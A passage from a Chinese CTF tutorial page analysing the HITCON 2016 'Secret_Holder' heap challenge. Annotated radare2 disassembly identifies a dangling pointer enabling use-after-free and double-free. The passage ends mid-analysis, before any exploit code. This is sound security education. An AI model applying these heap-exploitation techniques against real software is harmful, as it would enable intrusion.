📊
CTF-All-In-One
  • 简介
  • 前言
  • 一、基础知识篇
    • 1.1 CTF 简介
    • 1.2 学习方法
    • 1.3 Linux 基础
    • 1.4 Web 安全基础
      • 1.4.1 HTML 基础
      • 1.4.2 HTTP 协议基础
      • 1.4.3 JavaScript 基础
      • 1.4.4 常见 Web 服务器基础
      • 1.4.5 OWASP Top Ten Project 漏洞基础
      • 1.4.6 PHP 源码审计基础
    • 1.5 逆向工程基础
      • 1.5.1 C/C++ 语言基础
      • 1.5.2 汇编基础
      • 1.5.3 Linux ELF
      • 1.5.4 Windows PE
      • 1.5.5 静态链接
      • 1.5.6 动态链接
      • 1.5.7 内存管理
      • 1.5.8 glibc malloc
      • 1.5.9 Linux 内核
      • 1.5.10 Windows 内核
      • 1.5.11 jemalloc
    • 1.6 密码学基础
      • 1.6.1 密码学导论
      • 1.6.2 流密码
      • 1.6.3 分组密码
      • 1.6.4 公钥密码
      • 1.6.5 消息认证和哈希函数
      • 1.6.6 数字签名
      • 1.6.7 密码协议
      • 1.6.8 密钥分配与管理
      • 1.6.9 数字货币
    • 1.7 Android 安全基础
      • 1.7.1 Android 环境搭建
      • 1.7.2 Dalvik 指令集
      • 1.7.3 ARM 汇编基础
      • 1.7.4 Android 常用工具
  • 二、工具篇
    • 虚拟化分析环境
      • 2.1.1 VirtualBox
      • 2.1.2 QEMU
      • 2.1.3 Docker
      • 2.1.4 Unicorn
    • 静态分析工具
      • 2.2.1 radare2
      • 2.2.2 IDA Pro
      • 2.2.3 JEB
      • 2.2.4 Capstone
      • 2.2.5 Keystone
      • 2.2.6 Ghidra
    • 动态分析工具
      • 2.3.1 GDB
      • 2.3.2 OllyDbg
      • 2.3.3 x64dbg
      • 2.3.4 WinDbg
      • 2.3.5 LLDB
    • 其他工具
      • 2.4.1 pwntools
      • 2.4.2 zio
      • 2.4.3 metasploit
      • 2.4.4 binwalk
      • 2.4.5 Burp Suite
      • 2.4.6 Wireshark
      • 2.4.7 Cuckoo Sandbox
  • 三、分类专题篇
    • Pwn
      • 3.1.1 格式化字符串漏洞
      • 3.1.2 整数溢出
      • 3.1.3 栈溢出
      • 3.1.4 返回导向编程(ROP)(x86)
      • 3.1.5 返回导向编程(ROP)(ARM)
      • 3.1.6 Linux 堆利用(一)
      • 3.1.7 Linux 堆利用(二)
      • 3.1.8 Linux 堆利用(三)
      • 3.1.9 Linux 堆利用(四)
      • 3.1.10 内核 ROP
      • 3.1.11 Linux 内核漏洞利用
      • 3.1.12 Windows 内核漏洞利用
      • 3.1.13 竞争条件
      • 3.1.14 虚拟机逃逸
    • Reverse
      • 3.2.1 patch 二进制文件
      • 3.2.2 脱壳技术(PE)
      • 3.2.3 脱壳技术(ELF)
      • 3.2.4 反调试技术(PE)
      • 3.2.5 反调试技术(ELF)
      • 3.2.6 指令混淆
    • Web
      • 3.3.1 SQL 注入利用
      • 3.3.2 XSS 漏洞利用
    • Crypto
    • Misc
      • 3.5.1 Lsb
    • Mobile
  • 四、技巧篇
    • 4.1 Linux 内核调试
    • 4.2 Linux 命令行技巧
    • 4.3 GCC 编译参数解析
    • 4.4 GCC 堆栈保护技术
    • 4.5 ROP 防御技术
    • 4.6 one-gadget RCE
    • 4.7 通用 gadget
    • 4.8 使用 DynELF 泄露函数地址
    • 4.9 shellcode 开发
    • 4.10 跳转导向编程(JOP)
    • 4.11 利用 mprotect 修改栈权限
    • 4.12 利用 __stack_chk_fail
    • 4.13 利用 _IO_FILE 结构
    • 4.14 glibc tcache 机制
    • 4.15 利用 vsyscall 和 vDSO
  • 五、高级篇
    • 5.0 软件漏洞分析
    • 5.1 模糊测试
      • 5.1.1 AFL fuzzer
      • 5.1.2 libFuzzer
    • 5.2 动态二进制插桩
      • 5.2.1 Pin
      • 5.2.2 DynamoRio
      • 5.2.3 Valgrind
    • 5.3 符号执行
      • 5.3.1 angr
      • 5.3.2 Triton
      • 5.3.3 KLEE
      • 5.3.4 S²E
    • 5.4 数据流分析
      • 5.4.1 Soot
    • 5.5 污点分析
      • 5.5.1 TaintCheck
    • 5.6 LLVM
      • 5.6.1 Clang
    • 5.7 程序切片
    • 5.8 SAT/SMT
      • 5.8.1 Z3
    • 5.9 基于模式的漏洞分析
    • 5.10 基于二进制比对的漏洞分析
    • 5.11 反编译技术
      • 5.11.1 RetDec
  • 六、题解篇
    • Pwn
      • 6.1.1 pwn HCTF2016 brop
      • 6.1.2 pwn NJCTF2017 pingme
      • 6.1.3 pwn XDCTF2015 pwn200
      • 6.1.4 pwn BackdoorCTF2017 Fun-Signals
      • 6.1.5 pwn GreHackCTF2017 beerfighter
      • 6.1.6 pwn DefconCTF2015 fuckup
      • 6.1.7 pwn 0CTF2015 freenote
      • 6.1.8 pwn DCTF2017 Flex
      • 6.1.9 pwn RHme3 Exploitation
      • 6.1.10 pwn 0CTF2017 BabyHeap2017
      • 6.1.11 pwn 9447CTF2015 Search-Engine
      • 6.1.12 pwn N1CTF2018 vote
      • 6.1.13 pwn 34C3CTF2017 readme_revenge
      • 6.1.14 pwn 32C3CTF2015 readme
      • 6.1.15 pwn 34C3CTF2017 SimpleGC
      • 6.1.16 pwn HITBCTF2017 1000levels
      • 6.1.17 pwn SECCONCTF2016 jmper
      • 6.1.18 pwn HITBCTF2017 Sentosa
      • 6.1.19 pwn HITBCTF2018 gundam
      • 6.1.20 pwn 33C3CTF2016 babyfengshui
      • 6.1.21 pwn HITCONCTF2016 Secret_Holder
      • 6.1.22 pwn HITCONCTF2016 Sleepy_Holder
      • 6.1.23 pwn BCTF2016 bcloud
      • 6.1.24 pwn HITCONCTF2016 House_of_Orange
      • 6.1.25 pwn HCTF2017 babyprintf
      • 6.1.26 pwn 34C3CTF2017 300
      • 6.1.27 pwn SECCONCTF2016 tinypad
      • 6.1.28 pwn ASISCTF2016 b00ks
      • 6.1.29 pwn Insomni'hack_teaserCTF2017 The_Great_Escape_part-3
      • 6.1.30 pwn HITCONCTF2017 Ghost_in_the_heap
      • 6.1.31 pwn HITBCTF2018 mutepig
      • 6.1.32 pwn SECCONCTF2017 vm_no_fun
      • 6.1.33 pwn 34C3CTF2017 LFA
      • 6.1.34 pwn N1CTF2018 memsafety
      • 6.1.35 pwn 0CTF2018 heapstorm2
      • 6.1.36 pwn NJCTF2017 messager
      • 6.1.37 pwn sixstarctf2018 babystack
      • 6.1.38 pwn HITCONCMT2017 pwn200
      • 6.1.39 pwn BCTF2018 house_of_Atum
      • 6.1.40 pwn LCTF2016 pwn200
      • 6.1.41 pwn PlaidCTF2015 PlaidDB
      • 6.1.42 pwn hacklu2015 bookstore
      • 6.1.43 pwn 0CTF2018 babyheap
      • 6.1.44 pwn ASIS2017 start_hard
      • 6.1.45 pwn LCTF2016 pwn100
    • Reverse
      • 6.2.1 re XHPCTF2017 dont_panic
      • 6.2.2 re ECTF2016 tayy
      • 6.2.3 re CodegateCTF2017 angrybird
      • 6.2.4 re CSAWCTF2015 wyvern
      • 6.2.5 re PicoCTF2014 Baleful
      • 6.2.6 re SECCONCTF2017 printf_machine
      • 6.2.7 re CodegateCTF2018 RedVelvet
      • 6.2.8 re DefcampCTF2015 entry_language
    • Web
      • 6.3.1 web HCTF2017 babycrack
    • Crypto
    • Misc
    • Mobile
  • 七、实战篇
    • CVE
      • 7.1.1 CVE-2017-11543 tcpdump sliplink_print 栈溢出漏洞
      • 7.1.2 CVE-2015-0235 glibc __nss_hostname_digits_dots 堆溢出漏洞
      • 7.1.3 CVE-2016-4971 wget 任意文件上传漏洞
      • 7.1.4 CVE-2017-13089 wget skip_short_body 栈溢出漏洞
      • 7.1.5 CVE–2018-1000001 glibc realpath 缓冲区下溢漏洞
      • 7.1.6 CVE-2017-9430 DNSTracer 栈溢出漏洞
      • 7.1.7 CVE-2018-6323 GNU binutils elf_object_p 整型溢出漏洞
      • 7.1.8 CVE-2010-2883 Adobe CoolType SING 表栈溢出漏洞
      • 7.1.9 CVE-2010-3333 Microsoft Word RTF pFragments 栈溢出漏洞
    • Malware
  • 八、学术篇
    • 8.1 The Geometry of Innocent Flesh on the Bone: Return-into-libc without Function Calls (on the x86)
    • 8.2 Return-Oriented Programming without Returns
    • 8.3 Return-Oriented Rootkits: Bypassing Kernel Code Integrity Protection Mechanisms
    • 8.4 ROPdefender: A Detection Tool to Defend Against Return-Oriented Programming Attacks
    • 8.5 Data-Oriented Programming: On the Expressiveness of Non-Control Data Attacks
    • 8.7 What Cannot Be Read, Cannot Be Leveraged? Revisiting Assumptions of JIT-ROP Defenses
    • 8.9 Symbolic Execution for Software Testing: Three Decades Later
    • 8.10 AEG: Automatic Exploit Generation
    • 8.11 Address Space Layout Permutation (ASLP): Towards Fine-Grained Randomization of Commodity Softwa
    • 8.13 New Frontiers of Reverse Engineering
    • 8.14 Who Allocated My Memory? Detecting Custom Memory Allocators in C Binaries
    • 8.21 Micro-Virtualization Memory Tracing to Detect and Prevent Spraying Attacks
    • 8.22 Practical Memory Checking With Dr. Memory
    • 8.23 Evaluating the Effectiveness of Current Anti-ROP Defenses
    • 8.24 How to Make ASLR Win the Clone Wars: Runtime Re-Randomization
    • 8.25 (State of) The Art of War: Offensive Techniques in Binary Analysis
    • 8.26 Driller: Augmenting Fuzzing Through Selective Symbolic Execution
    • 8.27 Firmalice - Automatic Detection of Authentication Bypass Vulnerabilities in Binary Firmware
    • 8.28 Cross-Architecture Bug Search in Binary Executables
    • 8.29 Dynamic Hooks: Hiding Control Flow Changes within Non-Control Data
    • 8.30 Preventing brute force attacks against stack canary protection on networking servers
    • 8.33 Under-Constrained Symbolic Execution: Correctness Checking for Real Code
    • 8.34 Enhancing Symbolic Execution with Veritesting
    • 8.38 TaintEraser: Protecting Sensitive Data Leaks Using Application-Level Taint Tracking
    • 8.39 DART: Directed Automated Random Testing
    • 8.40 EXE: Automatically Generating Inputs of Death
    • 8.41 IntPatch: Automatically Fix Integer-Overflow-to-Buffer-Overflow Vulnerability at Compile-Time
    • 8.42 Dynamic Taint Analysis for Automatic Detection, Analysis, and Signature Generation of Exploits
    • 8.43 DTA++: Dynamic Taint Analysis with Targeted Control-Flow Propagation
    • 8.44 Superset Disassembly: Statically Rewriting x86 Binaries Without Heuristics
    • 8.45 Ramblr: Making Reassembly Great Again
    • 8.46 FreeGuard: A Faster Secure Heap Allocator
    • 8.48 Reassembleable Disassembling
  • 九、附录
    • 9.1 更多 Linux 工具
    • 9.2 更多 Windows 工具
    • 9.3 更多资源
    • 9.4 Linux 系统调用表
    • 9.5 python2到3字符串转换
    • 9.6 幻灯片
Powered by GitBook
On this page
  • 题目复现
  • 题目解析
  • Keep secret
  • Wipe secret
  • Renew secret
  • 漏洞利用
  • unsafe unlink
  • leak libc
  • pwn
  • exploit
  • 参考资料

Was this helpful?

  1. 六、题解篇
  2. Pwn

6.1.21 pwn HITCONCTF2016 Secret_Holder

Previous6.1.20 pwn 33C3CTF2016 babyfengshuiNext6.1.22 pwn HITCONCTF2016 Sleepy_Holder

Last updated 3 years ago

Was this helpful?

题目复现

$ file SecretHolder
SecretHolder: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=1d9395599b8df48778b25667e94e367debccf293, stripped
$ checksec -f SecretHolder
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FORTIFY Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    No PIE          No RPATH   No RUNPATH   Yes     0               2       SecretHolder
$ strings libc-2.23.so | grep "GNU C"
GNU C Library (Ubuntu GLIBC 2.23-0ubuntu3) stable release version 2.23, by Roland McGrath et al.
Compiled by GNU CC version 5.3.1 20160413.

64 位程序,开启了 Canary 和 NX,默认开启 ASLR。

在 Ubuntu-16.04 上玩一下:

$ ./SecretHolder
Hey! Do you have any secret?
I can help you to hold your secrets, and no one will be able to see it :)
1. Keep secret
2. Wipe secret
3. Renew secret
1
Which level of secret do you want to keep?
1. Small secret
2. Big secret
3. Huge secret
1
Tell me your secret:
AAAA
1. Keep secret
2. Wipe secret
3. Renew secret
3
Which Secret do you want to renew?
1. Small secret
2. Big secret
3. Huge secret
1
Tell me your secret:
BBBB
1. Keep secret
2. Wipe secret
3. Renew secret
2
Which Secret do you want to wipe?
1. Small secret
2. Big secret
3. Huge secret
1

该程序运行我们输入 small、big、huge 三种 secret,且每种 secret 只能输入一个。通过 Renew 可以修改 secret 的内容。Wipe 用于删除 secret。

猜测三种 secret 应该是有不同的 chunk 大小,但程序没有我们常见的打印信息这种选项来做信息泄漏。

题目解析

下面我们逐个来逆向这些功能。

Keep secret

[0x00400780]> pdf @ sub.Which_level_of_secret_do_you_want_to_keep_86d
/ (fcn) sub.Which_level_of_secret_do_you_want_to_keep_86d 442
|   sub.Which_level_of_secret_do_you_want_to_keep_86d ();
|           ; var int local_14h @ rbp-0x14
|           ; var int local_10h @ rbp-0x10
|           ; var int local_8h @ rbp-0x8
|           ; CALL XREF from 0x00400d6e (main)
|           0x0040086d      push rbp
|           0x0040086e      mov rbp, rsp
|           0x00400871      sub rsp, 0x20
|           0x00400875      mov rax, qword fs:[0x28]                   ; [0x28:8]=-1 ; '(' ; 40
|           0x0040087e      mov qword [local_8h], rax
|           0x00400882      xor eax, eax
|           0x00400884      mov edi, str.Which_level_of_secret_do_you_want_to_keep ; 0x400e28 ; "Which level of secret do you want to keep?"
|           0x00400889      call sym.imp.puts                          ; int puts(const char *s)
|           0x0040088e      mov edi, str.1._Small_secret               ; 0x400e53 ; "1. Small secret"
|           0x00400893      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400898      mov edi, str.2._Big_secret                 ; 0x400e63 ; "2. Big secret"
|           0x0040089d      call sym.imp.puts                          ; int puts(const char *s)
|           0x004008a2      mov edi, str.3._Huge_secret                ; 0x400e71 ; "3. Huge secret"
|           0x004008a7      call sym.imp.puts                          ; int puts(const char *s)
|           0x004008ac      lea rax, [local_10h]
|           0x004008b0      mov edx, 4
|           0x004008b5      mov esi, 0
|           0x004008ba      mov rdi, rax
|           0x004008bd      call sym.imp.memset                        ; void *memset(void *s, int c, size_t n)
|           0x004008c2      lea rax, [local_10h]
|           0x004008c6      mov edx, 4
|           0x004008cb      mov rsi, rax
|           0x004008ce      mov edi, 0
|           0x004008d3      mov eax, 0
|           0x004008d8      call sym.imp.read                          ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x004008dd      lea rax, [local_10h]
|           0x004008e1      mov rdi, rax
|           0x004008e4      call sym.imp.atoi                          ; int atoi(const char *str)
|           0x004008e9      mov dword [local_14h], eax
|           0x004008ec      mov eax, dword [local_14h]
|           0x004008ef      cmp eax, 2                                 ; 2
|       ,=< 0x004008f2      je 0x400963                                 ; big secret
|       |   0x004008f4      cmp eax, 3                                 ; 3
|      ,==< 0x004008f7      je 0x4009bc                                 ; huge secret
|      ||   0x004008fd      cmp eax, 1                                 ; 1
|     ,===< 0x00400900      je 0x400907                                 ; small secret
|    ,====< 0x00400902      jmp 0x400a11
|    ||||   ; JMP XREF from 0x00400900 (sub.Which_level_of_secret_do_you_want_to_keep_86d)
|    |`---> 0x00400907      mov eax, dword [0x006020c0]                 ; small_flag,表示 small secret 是否已存在
|    | ||   0x0040090d      test eax, eax
|    |,===< 0x0040090f      je 0x400916                                 ; small_flag 为 0 时
|   ,=====< 0x00400911      jmp 0x400a11
|   |||||   ; JMP XREF from 0x0040090f (sub.Which_level_of_secret_do_you_want_to_keep_86d)
|   ||`---> 0x00400916      mov esi, 0x28                              ; '(' ; 40
|   || ||   0x0040091b      mov edi, 1
|   || ||   0x00400920      call sym.imp.calloc                         ; calloc(1, 0x28) 为 small secret 分配空间
|   || ||   0x00400925      mov qword [0x006020b0], rax                 ; 把地址放到 [0x006020b0]
|   || ||   0x0040092c      mov dword [0x006020c0], 1                   ; 设置 small_flag 为 1
|   || ||   0x00400936      mov edi, str.Tell_me_your_secret:          ; 0x400e80 ; "Tell me your secret: "
|   || ||   0x0040093b      call sym.imp.puts                          ; int puts(const char *s)
|   || ||   0x00400940      mov rax, qword [0x006020b0]                ; [0x6020b0:8]=0
|   || ||   0x00400947      mov edx, 0x28                              ; '(' ; 40
|   || ||   0x0040094c      mov rsi, rax
|   || ||   0x0040094f      mov edi, 0
|   || ||   0x00400954      mov eax, 0
|   || ||   0x00400959      call sym.imp.read                           ; read(0, [0x006020b0], 0x28) 读入 small secret
|   ||,===< 0x0040095e      jmp 0x400a11
|   |||||   ; JMP XREF from 0x004008f2 (sub.Which_level_of_secret_do_you_want_to_keep_86d)
|   ||||`-> 0x00400963      mov eax, dword [0x006020b8]                 ; big_flag,表示 big secret 是否已存在
|   ||||    0x00400969      test eax, eax
|   ||||,=< 0x0040096b      je 0x400972                                 ; big_flag 为 0 时
|  ,======< 0x0040096d      jmp 0x400a11
|  ||||||   ; JMP XREF from 0x0040096b (sub.Which_level_of_secret_do_you_want_to_keep_86d)
|  |||||`-> 0x00400972      mov esi, 0xfa0                             ; 4000
|  |||||    0x00400977      mov edi, 1
|  |||||    0x0040097c      call sym.imp.calloc                         ; calloc(1, 0xfa0) 为 big secret 分配空间
|  |||||    0x00400981      mov qword [0x006020a0], rax                 ; 把地址放到 [0x006020a0]
|  |||||    0x00400988      mov dword [0x006020b8], 1                   ; 设置 big_flag 为 1
|  |||||    0x00400992      mov edi, str.Tell_me_your_secret:          ; 0x400e80 ; "Tell me your secret: "
|  |||||    0x00400997      call sym.imp.puts                          ; int puts(const char *s)
|  |||||    0x0040099c      mov rax, qword [0x006020a0]                ; [0x6020a0:8]=0
|  |||||    0x004009a3      mov edx, 0xfa0                             ; 4000
|  |||||    0x004009a8      mov rsi, rax
|  |||||    0x004009ab      mov edi, 0
|  |||||    0x004009b0      mov eax, 0
|  |||||    0x004009b5      call sym.imp.read                           ; read(0, [0x006020a0], 0xfa0) 读入 big secret
|  |||||,=< 0x004009ba      jmp 0x400a11
|  ||||||   ; JMP XREF from 0x004008f7 (sub.Which_level_of_secret_do_you_want_to_keep_86d)
|  ||||`--> 0x004009bc      mov eax, dword [0x006020bc]                 ; huge_flag,表示 huge secret 是否已存在
|  |||| |   0x004009c2      test eax, eax
|  ||||,==< 0x004009c4      je 0x4009c8                                 ; huge_flag 为 0 时
| ,=======< 0x004009c6      jmp 0x400a11
| |||||||   ; JMP XREF from 0x004009c4 (sub.Which_level_of_secret_do_you_want_to_keep_86d)
| |||||`--> 0x004009c8      mov esi, 0x61a80
| ||||| |   0x004009cd      mov edi, 1
| ||||| |   0x004009d2      call sym.imp.calloc                         ; calloc(1, 0x61a80) 为 huge secret 分配空间
| ||||| |   0x004009d7      mov qword [0x006020a8], rax                 ; 把地址放到 [0x006020a8]
| ||||| |   0x004009de      mov dword [0x006020bc], 1                   ; 设置 huge_flag 为 1
| ||||| |   0x004009e8      mov edi, str.Tell_me_your_secret:          ; 0x400e80 ; "Tell me your secret: "
| ||||| |   0x004009ed      call sym.imp.puts                          ; int puts(const char *s)
| ||||| |   0x004009f2      mov rax, qword [0x006020a8]                ; [0x6020a8:8]=0
| ||||| |   0x004009f9      mov edx, 0x61a80
| ||||| |   0x004009fe      mov rsi, rax
| ||||| |   0x00400a01      mov edi, 0
| ||||| |   0x00400a06      mov eax, 0
| ||||| |   0x00400a0b      call sym.imp.read                           ; read(0, [0x006020a8], 0x61a80) 读入 huge secret
| ||||| |   0x00400a10      nop
| ||||| |   ; XREFS: JMP 0x00400902  JMP 0x00400911  JMP 0x0040095e  JMP 0x0040096d  JMP 0x004009ba  JMP 0x004009c6  
| `````-`-> 0x00400a11      mov rax, qword [local_8h]
|           0x00400a15      xor rax, qword fs:[0x28]
|       ,=< 0x00400a1e      je 0x400a25
|       |   0x00400a20      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|       |   ; JMP XREF from 0x00400a1e (sub.Which_level_of_secret_do_you_want_to_keep_86d)
|       `-> 0x00400a25      leave
\           0x00400a26      ret

果然该函数使用 calloc() 为三种 secret 分别了不同大小的 chunk,small secret 属于 small chunk,big secret 和 huge secret 属于 large chunk。在分配前,会检查对应的 secret 是否已经存在,即每种 chunk 只能有一个,chunk 的指针放在 .bss 段上。另外其实读入 secret 的逻辑还是有问题的,它没有处理换行符,也没有在字符串末尾加 \x00。

Wipe secret

[0x00400780]> pdf @ sub.Which_Secret_do_you_want_to_wipe_a27
/ (fcn) sub.Which_Secret_do_you_want_to_wipe_a27 247
|   sub.Which_Secret_do_you_want_to_wipe_a27 ();
|           ; var int local_14h @ rbp-0x14
|           ; var int local_10h @ rbp-0x10
|           ; var int local_8h @ rbp-0x8
|           ; CALL XREF from 0x00400d7a (main)
|           0x00400a27      push rbp
|           0x00400a28      mov rbp, rsp
|           0x00400a2b      sub rsp, 0x20
|           0x00400a2f      mov rax, qword fs:[0x28]                   ; [0x28:8]=-1 ; '(' ; 40
|           0x00400a38      mov qword [local_8h], rax
|           0x00400a3c      xor eax, eax
|           0x00400a3e      mov edi, str.Which_Secret_do_you_want_to_wipe ; 0x400e98 ; "Which Secret do you want to wipe?"
|           0x00400a43      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400a48      mov edi, str.1._Small_secret               ; 0x400e53 ; "1. Small secret"
|           0x00400a4d      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400a52      mov edi, str.2._Big_secret                 ; 0x400e63 ; "2. Big secret"
|           0x00400a57      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400a5c      mov edi, str.3._Huge_secret                ; 0x400e71 ; "3. Huge secret"
|           0x00400a61      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400a66      lea rax, [local_10h]
|           0x00400a6a      mov edx, 4
|           0x00400a6f      mov esi, 0
|           0x00400a74      mov rdi, rax
|           0x00400a77      call sym.imp.memset                        ; void *memset(void *s, int c, size_t n)
|           0x00400a7c      lea rax, [local_10h]
|           0x00400a80      mov edx, 4
|           0x00400a85      mov rsi, rax
|           0x00400a88      mov edi, 0
|           0x00400a8d      mov eax, 0
|           0x00400a92      call sym.imp.read                          ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x00400a97      lea rax, [local_10h]
|           0x00400a9b      mov rdi, rax
|           0x00400a9e      call sym.imp.atoi                          ; int atoi(const char *str)
|           0x00400aa3      mov dword [local_14h], eax
|           0x00400aa6      mov eax, dword [local_14h]
|           0x00400aa9      cmp eax, 2                                 ; 2
|       ,=< 0x00400aac      je 0x400ad3                                 ; big secret
|       |   0x00400aae      cmp eax, 3                                 ; 3
|      ,==< 0x00400ab1      je 0x400aee                                 ; huge secret
|      ||   0x00400ab3      cmp eax, 1                                 ; 1
|     ,===< 0x00400ab6      jne 0x400b08
|     |||   0x00400ab8      mov rax, qword [0x006020b0]                 ; small secret
|     |||   0x00400abf      mov rdi, rax
|     |||   0x00400ac2      call sym.imp.free                           ; free([0x006020b0]) 释放 small secret
|     |||   0x00400ac7      mov dword [0x006020c0], 0                   ; 设置 small_flag 为 0
|    ,====< 0x00400ad1      jmp 0x400b08
|    ||||   ; JMP XREF from 0x00400aac (sub.Which_Secret_do_you_want_to_wipe_a27)
|    |||`-> 0x00400ad3      mov rax, qword [0x006020a0]                ; [0x6020a0:8]=0
|    |||    0x00400ada      mov rdi, rax
|    |||    0x00400add      call sym.imp.free                           ; free([0x006020a0]) 释放 big secret
|    |||    0x00400ae2      mov dword [0x006020b8], 0                   ; 设置 big_flag 为 0
|    |||,=< 0x00400aec      jmp 0x400b08
|    ||||   ; JMP XREF from 0x00400ab1 (sub.Which_Secret_do_you_want_to_wipe_a27)
|    ||`--> 0x00400aee      mov rax, qword [0x006020a8]                ; [0x6020a8:8]=0
|    || |   0x00400af5      mov rdi, rax
|    || |   0x00400af8      call sym.imp.free                           ; free([0x006020a8]) 释放 huge secret
|    || |   0x00400afd      mov dword [0x006020bc], 0                   ; 设置 huge_flag 为 0
|    || |   0x00400b07      nop
|    || |   ; JMP XREF from 0x00400ab6 (sub.Which_Secret_do_you_want_to_wipe_a27)
|    || |   ; JMP XREF from 0x00400ad1 (sub.Which_Secret_do_you_want_to_wipe_a27)
|    || |   ; JMP XREF from 0x00400aec (sub.Which_Secret_do_you_want_to_wipe_a27)
|    ``-`-> 0x00400b08      mov rax, qword [local_8h]
|           0x00400b0c      xor rax, qword fs:[0x28]
|       ,=< 0x00400b15      je 0x400b1c
|       |   0x00400b17      call sym.imp.__stack_chk_fail              ; void __stack_chk_fail(void)
|       |   ; JMP XREF from 0x00400b15 (sub.Which_Secret_do_you_want_to_wipe_a27)
|       `-> 0x00400b1c      leave
\           0x00400b1d      ret

该函数在释放 secret 时,首先将对应的 chunk 释放掉,然后设置 flag 为 0。漏洞很明显,就是没有将 chunk 指针清空,存在悬指针,可能导致 use-after-free,然后在释放前,也没有检查 flag,可能导致 double-free。

Renew secret

[0x00400780]> pdf @ sub.Which_Secret_do_you_want_to_renew_b1e
/ (fcn) sub.Which_Secret_do_you_want_to_renew_b1e 330
|   sub.Which_Secret_do_you_want_to_renew_b1e ();
|           ; var int local_14h @ rbp-0x14
|           ; var int local_10h @ rbp-0x10
|           ; var int local_8h @ rbp-0x8
|           ; CALL XREF from 0x00400d86 (main)
|           0x00400b1e      push rbp
|           0x00400b1f      mov rbp, rsp
|           0x00400b22      sub rsp, 0x20
|           0x00400b26      mov rax, qword fs:[0x28]                   ; [0x28:8]=-1 ; '(' ; 40
|           0x00400b2f      mov qword [local_8h], rax
|           0x00400b33      xor eax, eax
|           0x00400b35      mov edi, str.Which_Secret_do_you_want_to_renew ; 0x400ec0 ; "Which Secret do you want to renew?"
|           0x00400b3a      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400b3f      mov edi, str.1._Small_secret               ; 0x400e53 ; "1. Small secret"
|           0x00400b44      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400b49      mov edi, str.2._Big_secret                 ; 0x400e63 ; "2. Big secret"
|           0x00400b4e      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400b53      mov edi, str.3._Huge_secret                ; 0x400e71 ; "3. Huge secret"
|           0x00400b58      call sym.imp.puts                          ; int puts(const char *s)
|           0x00400b5d      lea rax, [local_10h]
|           0x00400b61      mov edx, 4
|           0x00400b66      mov esi, 0
|           0x00400b6b      mov rdi, rax
|           0x00400b6e      call sym.imp.memset                        ; void *memset(void *s, int c, size_t n)
|           0x00400b73      lea rax, [local_10h]
|           0x00400b77      mov edx, 4
|           0x00400b7c      mov rsi, rax
|           0x00400b7f      mov edi, 0
|           0x00400b84      mov eax, 0
|           0x00400b89      call sym.imp.read                          ; ssize_t read(int fildes, void *buf, size_t nbyte)
|           0x00400b8e      lea rax, [local_10h]
|           0x00400b92      mov rdi, rax
|           0x00400b95      call sym.imp.atoi                          ; int atoi(const char *str)
|           0x00400b9a      mov dword [local_14h], eax
|           0x00400b9d      mov eax, dword [local_14h]
|           0x00400ba0      cmp eax, 2                                 ; 2
|       ,=< 0x00400ba3      je 0x400be9                                 ; big secret
|       |   0x00400ba5      cmp eax, 3                                 ; 3
|      ,==< 0x00400ba8      je 0x400c1f                                 ; huge secret
|      ||   0x00400baa      cmp eax, 1                                 ; 1
|     ,===< 0x00400bad      jne 0x400c52
|     |||   0x00400bb3      mov eax, dword [0x006020c0]                 ; small secret
|     |||   0x00400bb9      test eax, eax
|    ,====< 0x00400bbb      je 0x400be7                                 ; small_flag 为 0 时,函数返回
|    ||||   0x00400bbd      mov edi, str.Tell_me_your_secret:          ; 0x400e80 ; "Tell me your secret: "
|    ||||   0x00400bc2      call sym.imp.puts                          ; int puts(const char *s)
|    ||||   0x00400bc7      mov rax, qword [0x006020b0]                ; [0x6020b0:8]=0
|    ||||   0x00400bce      mov edx, 0x28                              ; '(' ; 40
|    ||||   0x00400bd3      mov rsi, rax
|    ||||   0x00400bd6      mov edi, 0
|    ||||   0x00400bdb      mov eax, 0
|    ||||   0x00400be0      call sym.imp.read                           ; read(0, [0x006020b0], 0x28) 否则读入 small secret
|   ,=====< 0x00400be5      jmp 0x400c52
|   |||||   ; JMP XREF from 0x00400bbb (sub.Which_Secret_do_you_want_to_renew_b1e)
|  ,=`----> 0x00400be7      jmp 0x400c52
|  || |||   ; JMP XREF from 0x00400ba3 (sub.Which_Secret_do_you_want_to_renew_b1e)
|  || ||`-> 0x00400be9      mov eax, dword [0x006020b8]                ; [0x6020b8:4]=0
|  || ||    0x00400bef      test eax, eax
|  || ||,=< 0x00400bf1      je 0x400c1d                                 ; big_flag 为 0 时,函数返回
|  || |||   0x00400bf3      mov edi, str.Tell_me_your_secret:          ; 0x400e80 ; "Tell me your secret: "
|  || |||   0x00400bf8      call sym.imp.puts                          ; int puts(const char *s)
|  || |||   0x00400bfd      mov rax, qword [0x006020a0]                ; [0x6020a0:8]=0
|  || |||   0x00400c04      mov edx, 0xfa0                             ; 4000
|  || |||   0x00400c09      mov rsi, rax
|  || |||   0x00400c0c      mov edi, 0
|  || |||   0x00400c11      mov eax, 0
|  || |||   0x00400c16      call sym.imp.read                           ; read(0, [0x006020a0], 0xfa0) 否则读入 big secret
|  ||,====< 0x00400c1b      jmp 0x400c52
|  ||||||   ; JMP XREF from 0x00400bf1 (sub.Which_Secret_do_you_want_to_renew_b1e)
| ,=====`-> 0x00400c1d      jmp 0x400c52
| ||||||    ; JMP XREF from 0x00400ba8 (sub.Which_Secret_do_you_want_to_renew_b1e)
| |||||`--> 0x00400c1f      mov eax, dword [0x006020bc]                ; [0x6020bc:4]=0
| |||||     0x00400c25      test eax, eax
| ||||| ,=< 0x00400c27      je 0x400c51                                 ; huge_flag 为 0 时,函数返回
| ||||| |   0x00400c29      mov edi, str.Tell_me_your_secret:          ; 0x400e80 ; "Tell me your secret: "
